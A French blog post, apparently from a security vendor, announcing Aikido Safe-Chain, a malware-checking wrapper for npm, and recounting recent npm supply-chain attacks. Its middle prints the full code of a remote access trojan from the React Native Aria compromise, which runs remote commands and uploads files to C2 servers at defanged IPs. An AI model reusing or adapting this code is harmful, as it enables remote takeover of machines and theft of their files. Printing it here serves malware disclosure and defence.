TLDR :
Nous venons de lancer Aikido Safe-Chain, un wrapper sécurisé pour npm, npx et yarn qui s'intègre à votre workflow actuel et vérifie chaque package à la recherche de malwares avant l'installation. Il vous protège contre la confusion de dépendances, les backdoors, les typosquats et autres menaces de la chaîne d'approvisionnement en temps réel, sans modifier votre workflow.
–npm install est en quelque sorte la roulette russe du développement moderne. Un mauvais package, une faute de frappe sournoise, et vous avez soudainement offert à un groupe APT nord-coréen les clés de votre environnement de production. Amusant, n'est-ce pas ?
Mais les États-nations, les gangs cybercriminels et les mainteneurs malveillants ont tous compris une chose : le moyen le plus simple de compromettre les logiciels modernes est de passer directement par le développeur. Et quelle meilleure façon que d'introduire des malwares dans les packages open source que nous installons aveuglément chaque jour ?
C'est pourquoi nous avons créé Aikido Safe Chain, un wrapper autour de npm, npx et même yarn qui agit comme un videur pour vos dépendances. Il vérifie les packages à la recherche de malwares connus avant qu'ils ne soient installés dans votre projet, sans que vous ayez à modifier votre workflow.
Mais avant de nous plonger dans la manière dont Safe-Chain empêche votre machine de développement de devenir un botnet de minage de crypto-monnaie, parlons de la raison pour laquelle ce problème existe.
Pourquoi les packages NPM sont-ils une cible si juteuse ?
Voici la dure vérité : vous ne savez plus vraiment ce qu'il y a dans votre application.
Environ 70 à 90 % de tout logiciel moderne est composé de code open source, selon la Linux Foundation. Vous ne l'avez pas écrit. Vous ne l'avez pas audité. Et le plus important, la majeure partie n'a même pas été installée directement par vous. Elle est arrivée via des dépendances transitives, un terme sophistiqué pour dire : "un package aléatoire à cinq niveaux de profondeur a décidé d'embarquer tout son arbre généalogique."
Une seule commande npm install peut télécharger des dizaines, parfois des centaines, de packages, chacun pouvant exécuter du code arbitraire grâce aux hooks d'installation.
Si un acteur malveillant parvient à introduire son malware dans un seul de ces packages, que ce soit en piratant le compte d'un mainteneur, par confusion de dépendances ou en publiant une version avec une faute de frappe, il peut toucher des milliers de projets en une seule fois.
Pas seulement des paroles : Attaques réelles que nous avons détectées
Depuis le début de l'année 2025, l'équipe de sécurité d'Aikido a découvert une série de packages malveillants, dont plus de 6 000 rien qu'en juin. Voici quelques-unes de nos découvertes.
La backdoor officielle XRP
En avril, des attaquants ont compromis le package npm officiel xrpl, utilisé pour interagir avec la blockchain XRP. Ils ont introduit de nouvelles versions qui exfiltraient discrètement les secrets de portefeuille vers un serveur distant chaque fois qu'un objet Wallet était créé.
Si cette backdoor avait été installée par des plateformes d'échange de crypto-monnaies, elle aurait pu faciliter les plus grands vols de crypto-monnées de l'histoire. L'équipe d'Aikido a détecté les versions de packages altérées dans les 45 minutes suivant leur publication et a alerté l'équipe XRP.

L'incident du RAT rand-user-agent
Quelques semaines plus tard, des attaquants ont introduit un cheval de Troie d'accès à distance (RAT) dans le package rand-user-agent, un utilitaire apparemment anodin pour générer de fausses chaînes d'agent utilisateur. Une fois installé, le malware a créé une backdoor, s'est connecté à un serveur de commande et de contrôle, et a attendu les ordres comme un agent dormant obéissant.
Cela incluait des charges utiles obfusquées, un détournement de PATH pour Windows, et des astuces ingénieuses pour installer des modules supplémentaires dans des répertoires secrets.
.png)
Dix-sept bibliothèques, une attaque d'État-nation
Juin a été le théâtre d'un assaut de grande envergure contre l'écosystème React Native Aria : 17 bibliothèques front-end ont été détournées via un jeton de mainteneur GlueStack compromis. Au total, les paquets comptaient plus d'un million de téléchargements hebdomadaires, ce qui aurait pu avoir un impact absolument catastrophique sur l'écosystème React Native.
Une porte dérobée obfusquée a été insérée sous forme de RAT, permettant à l'attaquant un accès complet à l'infrastructure sur laquelle elle s'exécutait, y compris la capacité de livrer à distance d'autres malwares.
global._V = '8-npm13';
(async () => {
try {
const c = global.r || require;
const d = global._V || '0';
const f = c('os');
const g = c("path");
const h = c('fs');
const i = c("child_process");
const j = c("crypto");
const k = f.platform();
const l = k.startsWith('win');
const m = f.hostname();
const n = f.userInfo().username;
const o = f.type();
const p = f.release();
const q = o + " " + p;
const r = process.execPath;
const s = process.version;
const u = new Date().toISOString();
const v = process.cwd();
const w = typeof __filename === "undefined" || __filename !== "[eval]";
const x = typeof __dirname === "undefined" ? v : __dirname;
const y = g.join(f.homedir(), ".node_modules");
if (typeof module === "object") {
module.paths.push(g.join(y, "node_modules"));
} else {
if (global._module) {
global._module.paths.push(g.join(y, "node_modules"));
} else {
if (global.m) {
global.m.paths.push(g.join(y, "node_modules"));
}
}
}
async function z(V, W) {
return new global.Promise((X, Y) => {
i.exec(V, W, (Z, a0, a1) => {
if (Z) {
Y("Error: " + Z.message);
return;
}
if (a1) {
Y("Stderr: " + a1);
return;
}
X(a0);
});
});
}
function A(V) {
try {
c.resolve(V);
return true;
} catch (W) {
return false;
}
}
const B = A('axios');
const C = A("socket.io-client");
if (!B || !C) {
try {
const V = {
stdio: "inherit",
"windowsHide": true
};
const W = {
stdio: "inherit",
"windowsHide": true
};
if (B) {
await z("npm --prefix \"" + y + "\" install socket.io-client", V);
} else {
await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
}
} catch (X) {}
}
const D = c('axios');
const E = c("form-data");
const F = c("socket.io-client");
let G;
let H;
let I = {};
const J = d.startsWith('A4') ? 'http://136.0.9[.]8:3306' : "http://85.239.62[.]36:3306";
const K = d.startsWith('A4') ? "http://136.0.9[.]8:27017" : "http://85.239.62[.]36:27017";
function L() {
if (w) {
return '[eval]' + m + '$' + n;
}
return m + '$' + n;
}
function M() {
const Y = j.randomBytes(0x10);
Y[0x6] = Y[0x6] & 0xf | 0x40;
Y[0x8] = Y[0x8] & 0x3f | 0x80;
const Z = Y.toString("hex");
return Z.substring(0x0, 0x8) + '-' + Z.substring(0x8, 0xc) + '-' + Z.substring(0xc, 0x10) + '-' + Z.substring(0x10, 0x14) + '-' + Z.substring(0x14, 0x20);
}
function N() {
const Y = {
"reconnectionDelay": 0x1388
};
G = F(J, Y);
G.on("connect", () => {
const Z = L();
const a0 = {
"clientUuid": Z,
"processId": H,
"osType": o
};
G.emit('identify', "client", a0);
});
G.on("disconnect", () => {});
G.on("command", S);
G.on("exit", () => {
if (!w) {
process.exit();
}
});
}
async function O(Y, Z, a0, a1) {
try {
const a2 = new E();
a2.append("client_id", Y);
a2.append("path", a0);
Z.forEach(a4 => {
const a5 = g.basename(a4);
a2.append(a5, h.createReadStream(a4));
});
const a3 = await D.post(K + "/u/f", a2, {
'headers': a2.getHeaders()
});
if (a3.status === 0xc8) {
G.emit("response", "HTTP upload succeeded: " + g.basename(Z[0x0]) + " file uploaded\n", a1);
} else {
G.emit("response", "Failed to upload file. Status code: " + a3.status + "\n", a1);
}
} catch (a4) {
G.emit("response", "Failed to upload: " + a4.message + "\n", a1);
}
}
async function P(Y, Z, a0, a1) {
try {
let a2 = 0x0;
let a3 = 0x0;
const a4 = Q(Z);
for (const a5 of a4) {
if (I[a1].stopKey) {
G.emit("response", "HTTP upload stopped: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
return;
}
const a6 = g.relative(Z, a5);
const a7 = g.join(a0, g.dirname(a6));
try {
await O(Y, [a5], a7, a1);
a2++;
} catch (a8) {
a3++;
}
}
G.emit('response', "HTTP upload succeeded: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
} catch (a9) {
G.emit("response", "Failed to upload: " + a9.message + "\n", a1);
}
}
function Q(Y) {
let Z = [];
const a0 = h.readdirSync(Y);
a0.forEach(a1 => {
const a2 = g.join(Y, a1);
const a3 = h.statSync(a2);
if (a3 && a3.isDirectory()) {
Z = Z.concat(Q(a2));
} else {
Z.push(a2);
}
});
return Z;
}
function R(Y) {
const Z = Y.split(':');
if (Z.length < 0x2) {
const a4 = {
"valid": false,
"message": "Command is missing \":\" separator or parameters"
};
return a4;
}
const a0 = Z[0x1].split(',');
if (a0.length < 0x2) {
const a5 = {
"valid": false,
"message": "Filename or destination is missing"
};
return a5;
}
const a1 = a0[0x0].trim();
const a2 = a0[0x1].trim();
if (!a1 || !a2) {
const a6 = {
"valid": false,
"message": "Filename or destination is empty"
};
return a6;
}
const a3 = {
"valid": true,
filename: a1,
destination: a2
};
return a3;
}
function S(Y, Z) {
if (!Z) {
const a1 = {
"valid": false,
"message": "User UUID not provided in the command."
};
return a1;
}
if (!I[Z]) {
const a2 = {
"currentDirectory": x,
commandQueue: [],
"stopKey": false
};
I[Z] = a2;
}
const a0 = I[Z];
a0.commandQueue.push(Y);
T(Z);
}
async function T(Y) {
let Z = I[Y];
while (Z.commandQueue.length > 0x0) {
const a0 = Z.commandQueue.shift();
let a1 = '';
if (a0 === 'cd' || a0.startsWith("cd ") || a0.startsWith("cd.")) {
const a2 = a0.slice(0x2).trim();
try {
process.chdir(Z.currentDirectory);
process.chdir(a2 || '.');
Z.currentDirectory = process.cwd();
} catch (a3) {
a1 = "Error: " + a3.message;
}
} else {
if (a0 === 'ss_info') {
a1 = "* _V = " + d + "\n* VERSION = " + "250602" + "\n* OS_INFO = " + q + "\n* NODE_PATH = " + r + "\n* NODE_VERSION = " + s + "\n* STARTUP_TIME = " + u + "\n* STARTUP_PATH = " + v + "\n* __dirname = " + (typeof __dirname === 'undefined' ? "undefined" : __dirname) + "\n* __filename = " + (typeof __filename === 'undefined' ? "undefined" : __filename) + "\n";
} else {
if (a0 === "ss_ip") {
a1 = JSON.stringify((await D.get('http://ip-api.com/json')).data, null, "\t") + "\n";
} else {
if (a0.startsWith("ss_upf") || a0.startsWith('ss_upd')) {
const a4 = R(a0);
if (!a4.valid) {
a1 = "Invalid command format: " + a4.message + "\n";
G.emit('response', a1, Y);
continue;
}
const {
filename: a5,
destination: a6
} = a4;
Z.stopKey = false;
a1 = " >> starting upload\n";
if (a0.startsWith("ss_upf")) {
O(m + '$' + n, [g.join(process.cwd(), a5)], a6, Y);
} else if (a0.startsWith("ss_upd")) {
P(m + '$' + n, g.join(process.cwd(), a5), a6, Y);
}
} else {
if (a0.startsWith("ss_dir")) {
process.chdir(x);
Z.currentDirectory = process.cwd();
} else {
if (a0.startsWith('ss_fcd')) {
const a7 = a0.split(':');
if (a7.length < 0x2) {
a1 = "Command is missing \":\" separator or parameters";
} else {
const a8 = a7[0x1];
process.chdir(a8);
Z.currentDirectory = process.cwd();
}
} else {
if (a0.startsWith("ss_stop")) {
Z.stopKey = true;
} else {
try {
const a9 = {
"cwd": Z.currentDirectory,
windowsHide: true
};
if (l) {
try {
const ab = g.join(process.env.LOCALAPPDATA || g.join(f.homedir(), "AppData", "Local"), "Programs\\Python\\Python3127");
const ac = {
...process.env
};
ac.PATH = ab + ';' + process.env.PATH;
a9.env = ac;
} catch (ad) {}
}
if (a0[0x0] === '*') {
a9.detached = true;
a9.stdio = "ignore";
const ae = a0.substring(0x1).match(/(?:[^\s"]+|"[^"]*")+/g);
const af = ae.map(ag => ag.replace(/^"|"$/g, ''));
i.spawn(af[0x0], af.slice(0x1), a9).on('error', ag => {});
} else {
i.exec(a0, a9, (ag, ah, ai) => {
let aj = "\n";
if (ag) {
aj += "Error executing command: " + ag.message;
}
if (ai) {
aj += "Stderr: " + ai;
}
aj += ah;
aj += Z.currentDirectory + "> ";
G.emit("response", aj, Y);
});
}
} catch (ag) {
a1 = "Error executing command: " + ag.message;
}
}
}
}
}
}
}
}
a1 += Z.currentDirectory + "> ";
G.emit("response", a1, Y);
}
}
function U() {
H = M();
N(H);
}
U();
} catch (Y) {}
})();Exploits invisibles, obfuscation et espaces blancs
Vous pourriez penser que repérer les malwares serait assez facile : appels à des IP distantes, scripts d'installation étranges ou code fortement obfusqué. Bien que certains malwares soient plus faciles à repérer que d'autres, même si vous deviez effectuer un code review complet sur toutes vos dépendances (bonne chance). Certains malwares sont si sophistiqués qu'ils passeraient inaperçus. Par exemple, os-info-checker-es6 a utilisé des caractères Unicode invisibles non visibles dans un éditeur de code normal pour livrer son malware. Ou des malwares livrés dans des images comme *****, ou peut-être le plus amusant, des malwares cachés par des espaces blancs (une méthode d'obfuscation stupide mais étonnamment efficace) comme react-html2pdf.js

Pourquoi Safe-Chain est l'outil dont vous avez besoin dès maintenant
Nous aimons tous l'open source. Mais les outils de sécurité modernes ? Pas tant que ça. Ils sont souvent lourds, bruyants et donnent l'impression d'essayer d'apprendre à piloter un avion de chasse.

Vous bénéficiez de la même expérience développeur, mais avec un gilet pare-balles en Kevlar en dessous.
Pourquoi Safe Chain surpasse les autres outils
Des outils comme npm audit et npq doivent non seulement être exécutés comme des étapes supplémentaires, mais ils s'appuient également sur des CVEs publics ou des heuristiques de base. Ils sont efficaces pour les problèmes connus, mais ils passent à côté des zero-days, et le délai entre la publication d'un paquet malveillant et sa signalisation est d'environ 10 jours. Suffisamment de temps pour que les acteurs malveillants s'incrustent profondément dans votre infrastructure.
Safe-Chain est alimenté par Aikido Intel, notre pipeline de menaces qui détecte environ 200 paquets malveillants par jour, avant qu'ils n'apparaissent dans les bases de données de vulnérabilités.
Et contrairement aux autres outils qui détectent les menaces après coup, Safe-Chain les arrête avant qu'ils ne soient installés. Rien ne se brise, sauf les rêves de l'attaquant potentiel.
Dernières réflexions : N'espérez pas. Vérifiez.
L'écosystème npm est une merveille moderne, une cathédrale de collaboration, de vitesse et... de malwares. Nous ne pouvons pas changer le monde de l'open source du jour au lendemain, mais nous pouvons vous donner les outils pour y naviguer en toute sécurité.
L'espoir n'est pas une stratégie de sécurité.
Avec Safe-Chain, vous ne devinez pas. Vous vérifiez. Chaque installation npm est scannée en temps réel. Pas de portes dérobées. Pas de vol de crypto. Pas de RATs surprises qui s'invitent sur votre ordinateur portable.
Installez Safe Chain dès aujourd'hui
L'installation de l'Aikido Safe Chain est facile. Il vous suffit de 3 étapes simples :
Installez le package Aikido Safe Chain globalement en utilisant npm :npm install -g @aikidosec/safe-chain
Configurez l'intégration du shell en exécutant :safe-chain setup
❗Redémarrez votre terminal pour commencer à utiliser l'Aikido Safe Chain.
- Cette étape est cruciale car elle garantit que les alias de shell pour npm, npx et yarn sont chargés correctement. Si vous ne redémarrez pas votre terminal, les alias ne seront pas disponibles.
Vérifiez l'installation en exécutant :npm install safe-chain-test
- Le résultat devrait montrer qu'Aikido Safe Chain bloque l'installation de ce paquet car il est signalé comme un malware. (L'installation de ce paquet ne présente aucun risque)
Sécurisez votre logiciel dès maintenant.




